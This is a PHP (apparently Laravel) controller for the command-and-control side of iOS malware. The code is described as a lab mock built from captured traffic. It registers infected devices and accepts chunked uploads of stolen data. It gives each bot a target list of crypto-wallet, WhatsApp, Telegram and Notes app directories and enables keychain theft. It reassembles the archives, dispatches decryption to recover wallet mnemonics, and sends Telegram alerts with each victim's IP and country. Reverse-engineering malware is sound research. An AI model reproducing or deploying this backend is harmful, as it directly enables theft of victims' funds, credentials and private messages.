logRequest($request, 'devices'); // Empty bundleIds/dirs = "no further collection targets" — the malware // treats this as a no-op acquisition list. Bump to non-empty later to // observe the collector actually enumerate containers. return $this->json([ 'code' => 0, 'data' => [ 'bundleIds' => [], 'dirs' => [], ], ]); } /** * POST /api/v1/uploads — initiate a chunked upload session. * Body: JSON describing the artifact (e.g. bq_docs_.zip metadata). * Expected reply: uploadId + expectedChunks. */ public function uploads(Request $request): Response { $this->logRequest($request, 'uploads'); return $this->json([ 'code' => 0, 'data' => [ 'uploadId' => 'mock-'.date('Ymd-His').'-'.bin2hex(random_bytes(4)), 'expectedChunks' => 1, ], ]); } /** * PUT /api/v1/uploads/{id}/chunks[/{n}] — receive one chunk of a session. * Body: raw chunk bytes (often multipart or binary). * Expected reply: {"status":"COMPLETED"} once the server has the chunk. */ public function uploadChunk(Request $request): Response { $this->logRequest($request, 'uploadChunk'); return $this->json(['status' => 'COMPLETED']); } /** * POST /api/v1/finish — libutils "all uploads done" signal. * Body: tiny form/json ack. Expected reply: {"code":0}. */ public function finish(Request $request): Response { $this->logRequest($request, 'finish'); return $this->json(['code' => 0]); } /** * Catch-all for the BQ documents exfil path (inject_demo.dylib). * The dylib POSTs multipart/form-data with boundary "BQBoundary-%@" * carrying bq_docs_.zip to the C2 root or an arbitrary path. * Mock returns {"ok":true} so the dylib considers the exfil accepted. */ public function bqExfil(Request $request): Response { $this->logRequest($request, 'bqExfil'); return $this->json(['ok' => true]); } /** * Catch-all for the ai-live C2 pipeline (w2.bsvpn.net → /api/v2/*). * * Real protocol recovered from Reqable capture (record 13655): * GET /api/v2 (root) → {"name":"END POINT","env":"prod"} * POST /api/v2/devices → {"code":0,"message":"ok","data":{"deviceId":"...","bundleIds":{...},"doKeychain":true,"debug":false}} * POST /api/v2/uploads → {"code":0,"ok":true,"uploadId":"...","chunkSize":1048576,"numberOfChunks":N,"expectedChunks":N,"data":{...,"status":"PENDING"}} * POST /api/v2/uploads/{id}/chunks?chunkIndex=N → same shape, status "PENDING" until last chunk → "COMPLETED" * POST /api/v2/finish → {"ok":true} * * c2_simple.dylib swizzles NSURLSession to rewrite w2.bsvpn.net → this lab. * Log every request + persist chunk bodies, return protocol-faithful * responses so the malware completes the full acquisition pipeline. */ public function aiLiveV2(Request $request): Response { $this->logRequest($request, 'ailive_v2'); $path = $request->path(); // e.g. "api/v2/devices" // ── Root endpoint check ────────────────────────────────── // GET /api/v2 or /api/v2/ → health check if ($path === 'api/v2' || $path === 'api/v2/') { return $this->json(['name' => 'END POINT', 'env' => 'prod']); } // ── Device registration ───────────────────────────────── if ($path === 'api/v2/devices') { $body = json_decode((string) $request->getContent(false), true) ?? []; $device = $this->registerAiLiveDevice($request, $body); return $this->json([ 'code' => 0, 'message' => 'ok', 'data' => [ 'deviceId' => $device?->device_id ?? $request->headers->get('x-device-id', 'lab-'.bin2hex(random_bytes(8))), 'bundleIds' => self::BUNDLE_IDS_TARGETS, 'doKeychain' => true, 'debug' => false, ], ]); } // ── Upload initiation ──────────────────────────────────── if ($path === 'api/v2/uploads') { $body = json_decode((string) $request->getContent(false), true) ?? []; $fileSize = (int) ($body['fileSize'] ?? 0); $fileName = (string) ($body['fileName'] ?? 'unknown'); $chunkSize = 1048576; // 1 MiB — fixed by the real C2 $numberOfChunks = max(1, (int) ceil($fileSize / $chunkSize)); $uploadId = \Illuminate\Support\Str::uuid()->toString(); // Resolve the device so we can ingest keystores on completion. $device = $this->findAiLiveDevice($request); // Persist session state for chunk tracking Cache::put("ailive_upload:{$uploadId}", [ 'fileName' => $fileName, 'fileSize' => $fileSize, 'chunkSize' => $chunkSize, 'numberOfChunks' => $numberOfChunks, 'receivedChunks' => 0, 'deviceId' => $device?->id, ], now()->addHours(2)); return $this->json([ 'code' => 0, 'ok' => true, 'uploadId' => $uploadId, 'chunkSize' => $chunkSize, 'numberOfChunks' => $numberOfChunks, 'expectedChunks' => $numberOfChunks, 'data' => [ 'uploadId' => $uploadId, 'chunkSize' => $chunkSize, 'numberOfChunks' => $numberOfChunks, 'expectedChunks' => $numberOfChunks, 'status' => 'PENDING', ], ]); } // ── Chunk upload ───────────────────────────────────────── // /api/v2/uploads/{uploadId}/chunks or /api/v2/uploads/{uploadId}/chunks/{n} if (preg_match('#^api/v2/uploads/([^/]+)/chunks#', $path, $m)) { $uploadId = $m[1]; $chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0))); $session = Cache::get("ailive_upload:{$uploadId}"); $numberOfChunks = $session['numberOfChunks'] ?? 1; $chunkSize = $session['chunkSize'] ?? 1048576; $received = ($session['receivedChunks'] ?? 0) + 1; $status = $received >= $numberOfChunks ? 'COMPLETED' : 'PENDING'; // Backfill deviceId into the session from the x-device-id header // if it wasn't captured at /api/v2/uploads time (e.g. session // expired, or the uploads request didn't carry the header). $headerDeviceId = $this->findAiLiveDevice($request)?->id; if ($session && empty($session['deviceId']) && $headerDeviceId !== null) { $session['deviceId'] = $headerDeviceId; } if ($session) { $session['receivedChunks'] = $received; Cache::put("ailive_upload:{$uploadId}", $session, now()->addHours(2)); } // On the final chunk, reassemble + parse + store keystores so // the finish handler can dispatch the decryption job. if ($status === 'COMPLETED' && $session !== null) { $this->ingestCompletedUpload($session, $uploadId); } return $this->json([ 'code' => 0, 'ok' => true, 'uploadId' => $uploadId, 'chunkSize' => $chunkSize, 'numberOfChunks' => $numberOfChunks, 'expectedChunks' => $numberOfChunks, 'data' => [ 'uploadId' => $uploadId, 'chunkSize' => $chunkSize, 'numberOfChunks' => $numberOfChunks, 'expectedChunks' => $numberOfChunks, 'status' => $status, ], ]); } // ── Finish ────────────────────────────────────────────── if ($path === 'api/v2/finish') { // All uploads for this device are done — dispatch the async // keystore decryption job to recover mnemonics + addresses. $device = $this->findAiLiveDevice($request); if ($device !== null) { app(AiLiveUploadIngester::class)->dispatchDecrypt($device); } return $this->json(['ok' => true]); } // ── Fallback (doge beacon to /api/v2/ root, etc.) ───────── return $this->json(['ok' => true]); } /** * Target app bundle IDs + directories to exfiltrate, recovered from the * real C2 /api/v2/devices response (Reqable record 13655 sub 3). The * malware tars up each app's listed directories and uploads them. * Keychain is controlled separately via doKeychain=true. */ private const BUNDLE_IDS_TARGETS = [ 'com.tronlink.hdwallet' => ['Documents'], 'im.token.app' => ['Documents', 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1'], 'io.metamask.MetaMask' => ['Documents'], 'net.whatsapp.WhatsApp' => ['Documents'], 'com.bitkeep.os' => ['Documents'], 'com.bitpie.wallet' => ['Documents'], 'coin98.crypto.finance.insights' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'], 'org.toshi.distribution' => ['Documents'], 'exodus-movement.exodus' => ['Documents'], 'com.kyrd.krystal.ios' => ['Documents'], 'org.mytonwallet.app' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'], 'app.phantom' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'], 'com.skymavis.Genesis' => ['Documents'], 'com.solflare.mobile' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'], 'com.global.wallet.ios' => ['Documents'], 'com.tonhub.app' => ['Documents'], 'com.uniswap.mobile' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'], 'exodusmovement.exodus' => ['Documents'], 'com.jbig.tonkeeper' => ['Documents'], 'ph.telegra.Telegraph' => ['Documents'], 'com.sixdays.trust' => ['Documents'], 'com.okex.OKExAppstoreFull' => ['Documents'], 'so.onekey.wallet' => ['Documents'], 'com.digitalshield.walletapp' => ['Documents', 'Documents/mmkv', 'Library/Application Support', 'Library/Preferences'], 'com.bybit.app' => ['Documents'], 'com.czzhao.binance' => ['Documents'], 'com.defi.wallet' => ['Documents'], 'group.com.apple.notes' => ['.'], ]; // ──────────────────────────────────────────────────────────── // helpers // ──────────────────────────────────────────────────────────── /** * Persist method/path/headers/body to public/log/app_c2/Ymd.log. * Multipart and binary bodies are stored as a hex+preview dump; JSON * bodies are stored verbatim for easy reading. */ private function logRequest(Request $request, string $tag): void { try { $body = (string) $request->getContent(false); $headers = []; foreach ($request->headers->all() as $name => $values) { $headers[$name] = is_array($values) ? ($values[0] ?? null) : $values; } $meta = [ 'tag' => $tag, 'method' => $request->getMethod(), 'path' => '/'.ltrim($request->path(), '/'), 'ip' => $request->server->get('REMOTE_ADDR'), 'headers' => $headers, 'body_size' => strlen($body), ]; // Keep JSON bodies readable; otherwise include a hex preview. $first = $body !== '' ? $body[0] : ''; if ($first === '{' || $first === '[') { $meta['body_json'] = $body; } elseif ($body !== '') { $meta['body_preview'] = substr($body, 0, 512); $meta['body_hex_first_256'] = bin2hex(substr($body, 0, 256)); } // For multipart/form-data, PHP consumes php://input and populates // $_POST / $_FILES, so $body is empty. Capture those as a fallback // so the BQ exfil multipart is still observable. if ($body === '' && $request->isMethod('POST')) { $post = $request->post(); if (! empty($post)) { $meta['post'] = $post; } $files = []; foreach ($request->allFiles() as $key => $f) { if ($f instanceof \Illuminate\Http\UploadedFile) { $files[$key] = [ 'name' => $f->getClientOriginalName(), 'size' => $f->getSize(), 'mime' => $f->getMimeType(), 'ext' => $f->getClientOriginalExtension(), ]; } } if (! empty($files)) { $meta['files'] = $files; } } // Persist uploaded file bodies (multipart) and raw chunk bodies // so captured artifacts can be reverse-engineered later. $meta['saved_files'] = $this->persistUploads($request, $body, $tag); create_log($meta, self::LOG_TYPE); } catch (\Throwable) { // never break the request for logging } } /** * @param mixed $data */ private function json($data): Response { $payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); return response($payload, 200)->header('Content-Type', 'application/json'); } /** * Find or create a Device row for an ai-live app-injection beacon. * * The malware POSTs /api/v2/devices with a JSON body carrying: * deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName, * appName ("Ai"), bundleId (aai.AiAi168168AiAi.app), appId (channel id). * The x-device-id header carries the same UUID (lowercase). * * Field mapping: * body.appId → channel_id (references channels.channel_id, a UUID * for app builder channels) * body.appName → channels.app_name (stored on the channel, not device) * body.bundleId→ channels.bundle_id (stored on the channel, not device) * * Chain = CHAIN_APP (3) — the "app" 利用链 enum value for * dylib-injected app traffic (as opposed to coruna/darksword). * * @param array $body */ private function registerAiLiveDevice(Request $request, array $body): ?\App\Models\Device { $rawId = (string) ($body['deviceId'] ?? $request->headers->get('x-device-id') ?? ''); if ($rawId === '') { return null; } $deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId); if ($deviceKey === null || $deviceKey === '') { return null; } $model = substr((string) ($body['hardwareModel'] ?? $body['model'] ?? ''), 0, 128); $ios = substr((string) ($body['iosVersion'] ?? ''), 0, 32); $ua = substr((string) $request->userAgent(), 0, 2000); $ip = \App\Support\VisitorIp::fromRequest($request); // appId is the distribution channel id for the app-injection chain. $channelId = substr((string) ($body['appId'] ?? ''), 0, 64); $attrs = [ 'chain' => \App\Models\Device::CHAIN_APP, 'device_model' => $model !== '' ? $model : null, 'ios_version' => $ios !== '' ? $ios : null, 'user_agent' => $ua !== '' ? $ua : null, 'channel_id' => $channelId !== '' ? $channelId : null, ]; if ($ip !== '') { $attrs['ip'] = $ip; $country = \App\Support\CfIpCountry::fromRequest($request); if ($country !== null) { $attrs['country'] = $country; } } $existing = \App\Models\Device::query()->where('device_id', $deviceKey)->first(); if ($existing) { // Fill empty fields; stamp CHAIN_APP if chain was the default coruna. $touch = ['updated_at' => now()]; foreach (['device_model', 'ios_version', 'user_agent', 'ip', 'country', 'channel_id'] as $f) { if (! empty($attrs[$f]) && trim((string) ($existing->{$f} ?? '')) === '') { $touch[$f] = $attrs[$f]; } } if ((int) $existing->chain === \App\Models\Device::CHAIN_CORUNA) { $touch['chain'] = \App\Models\Device::CHAIN_APP; } $existing->forceFill($touch)->saveQuietly(); return $existing->refresh(); } try { $device = \App\Models\Device::query()->create(array_merge([ 'device_id' => $deviceKey, ], $attrs)); // Notify Telegram about the new app-chain device (mirrors // IngestService / DarkSwordIngestAdapter behaviour for the // coruna and darksword chains). try { app(\App\Services\TelegramNotifier::class) ->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->saveQuietly(); } catch (\Throwable $e) { \Illuminate\Support\Facades\Log::channel('keystore')->warning( 'aiLiveV2 telegram notifyNewDevice failed: '.$e->getMessage(), ['device_id' => $device->id, 'device_key' => $device->device_id], ); } return $device; } catch (\Illuminate\Database\UniqueConstraintViolationException | \Illuminate\Database\QueryException) { // Race condition — another request inserted the same device. return \App\Models\Device::query()->where('device_id', $deviceKey)->first(); } } /** * Look up the Device for the current ai-live request without creating * a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and * /api/v2/finish where the device was already registered via * /api/v2/devices). * * The upload/chunk/finish request bodies do NOT carry a deviceId — * only the x-device-id HTTP header does. So we read that header first. * If it's missing (some malware builds omit it on non-devices calls), * fall back to the most recently registered CHAIN_APP device from the * same source IP, so the captured artifacts are never orphaned. */ private function findAiLiveDevice(Request $request): ?\App\Models\Device { // 1. Primary: x-device-id header → device_id lookup. $rawId = (string) ($request->headers->get('x-device-id') ?? ''); if ($rawId !== '') { $deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId); if ($deviceKey !== null && $deviceKey !== '') { $device = \App\Models\Device::query()->where('device_id', $deviceKey)->first(); if ($device !== null) { return $device; } } } // 2. Fallback: most recently registered app-chain device from // the same source IP. This covers the case where the malware // omits x-device-id on uploads/chunks/finish but the device // was already registered on /api/v2/devices from this IP. $ip = \App\Support\VisitorIp::fromRequest($request); if ($ip === '') { return null; } return \App\Models\Device::query() ->where('chain', \App\Models\Device::CHAIN_APP) ->where('ip', $ip) ->orderByDesc('id') ->first(); } /** * Reassemble the completed upload's chunks, parse the artifact * (keychain.xml or wallet app tar), and store extracted keystores * so the async decryption job can recover mnemonics. * * @param array $session Cache session with deviceId + fileName. */ private function ingestCompletedUpload(array $session, string $uploadId): void { $deviceId = (int) ($session['deviceId'] ?? 0); $device = null; if ($deviceId > 0) { $device = \App\Models\Device::query()->find($deviceId); } if ($device === null) { // Session didn't capture a deviceId (e.g. /api/v2/uploads had // no x-device-id header and no prior registration from this IP). // Skip ingestion — the artifacts stay on disk and can be // reprocessed manually. \Illuminate\Support\Facades\Log::channel('keystore')->warning( 'aiLiveV2 ingest skipped: no device associated with upload', ['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''], ); return; } try { app(AiLiveUploadIngester::class)->ingest($device, $uploadId, $session); } catch (\Throwable $e) { \Illuminate\Support\Facades\Log::channel('keystore')->error( 'aiLiveV2 ingest failed: '.$e->getMessage(), ['device_id' => $device->id, 'upload_id' => $uploadId], ); } } /** * Persist uploaded file bodies to public/log/app_c2/uploads/. * - multipart files → saved with original filename, prefixed by timestamp. * - raw chunk bodies (non-multipart) → saved as _.bin. * * @param string $body Raw request body (empty for multipart). * @return array Map of field/key → saved relative path. */ private function persistUploads(Request $request, string $body, string $tag): array { $saved = []; $base = public_path('log/'.self::LOG_TYPE.'/uploads'); if (! is_dir($base) && ! @mkdir($base, 0775, true) && ! is_dir($base)) { return $saved; } $ts = date('Ymd-His').'-'.bin2hex(random_bytes(2)); // Multipart uploads (BQ exfil bq_docs_*.zip, etc.) foreach ($request->allFiles() as $key => $f) { if (! ($f instanceof \Illuminate\Http\UploadedFile) || ! $f->isValid()) { continue; } $orig = $f->getClientOriginalName(); $safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $orig); $dest = $base.'/'.$ts.'_'.$safe; try { if ($f->move(dirname($dest), basename($dest))) { $saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest); } } catch (\Throwable) { // fall back to copy from tmp try { $tmp = $f->getRealPath(); if ($tmp && @copy($tmp, $dest)) { $saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest); } } catch (\Throwable) { } } } // Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream, // ai-live /api/v2/uploads/{id}/chunks — octet-stream). // Name files with uploadId + chunkIndex so chunks can be reassembled. if ($body !== '' && empty($saved)) { $path = $request->path(); $uploadId = ''; $chunkIdx = $request->query('chunkIndex', ''); if (preg_match('#uploads/([^/]+)/chunks#', $path, $m)) { $uploadId = $m[1]; } if ($chunkIdx === '' && preg_match('#chunks/([0-9]+)#', $path, $m)) { $chunkIdx = $m[1]; } $suffix = ''; if ($uploadId !== '') { $suffix .= '_'.$uploadId; } if ($chunkIdx !== '') { $suffix .= '_c'.$chunkIdx; } $dest = $base.'/'.$ts.'_'.$tag.$suffix.'.bin'; try { if (@file_put_contents($dest, $body) !== false) { $saved['body'] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest); } } catch (\Throwable) { } } return $saved; } }